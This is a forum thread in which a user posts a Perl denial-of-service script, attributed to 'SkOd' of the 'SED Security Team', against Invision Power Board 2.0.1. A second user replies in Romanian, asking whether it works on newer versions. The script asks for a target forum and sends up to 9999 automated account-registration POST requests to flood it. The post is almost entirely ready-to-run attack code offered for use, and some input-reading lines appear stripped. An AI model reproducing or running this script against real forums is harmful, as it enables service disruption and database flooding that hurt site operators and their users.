Ras Posted March 26, 2007 Report Share Posted March 26, 2007 #!/usr/bin/perluse IO::Socket;############################################################ _______ _______ ______ ### |______ |______ | \ ### ______| |______ |_____/ ### ###IPB Register Multiple Users Denial of Service ###Doesn't Work on forums using "Code Confirmation" ###Created By SkOd ###SED security Team ###[url]http://www.sed-team.be[/url] ###skod.uk@gmail.com ###ISRAEL ###########################################################print q{############################################################# Invision Power Board Multiple Users DOS ##Tested on IPB 2.0.1 ## created By SkOd. SED Security Team #############################################################};$rand=rand(10);print "Forum Host: ";$serv = ;chop ($serv);print "Forum Path: ";$path = ;chop ($path);for ($i=0; $i<9999; $i++){$name="sedXPL_".$rand.$i;$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sed botbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1 &allow_member_mail=1&day=11&month=11&year=1985&agree=1";$len = length $data;$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";print $get1 "POST ".$path."index.php HTTP/1.0\n";print $get1 "Host: ".$serv."\n";print $get1 "Content-Type: application/x-www-form-urlencoded\n";print $get1 "Content-Length: ".$len."\n\n";print $get1 $data;syswrite STDOUT, "+";}print "Forum shuld be Dosed. Check it out...\n"; Quote Link to comment Share on other sites More sharing options...
vladiii Posted March 28, 2007 Report Share Posted March 28, 2007 merge doar pe 2.0.1 sau si pe versiuni mai noi? Quote Link to comment Share on other sites More sharing options...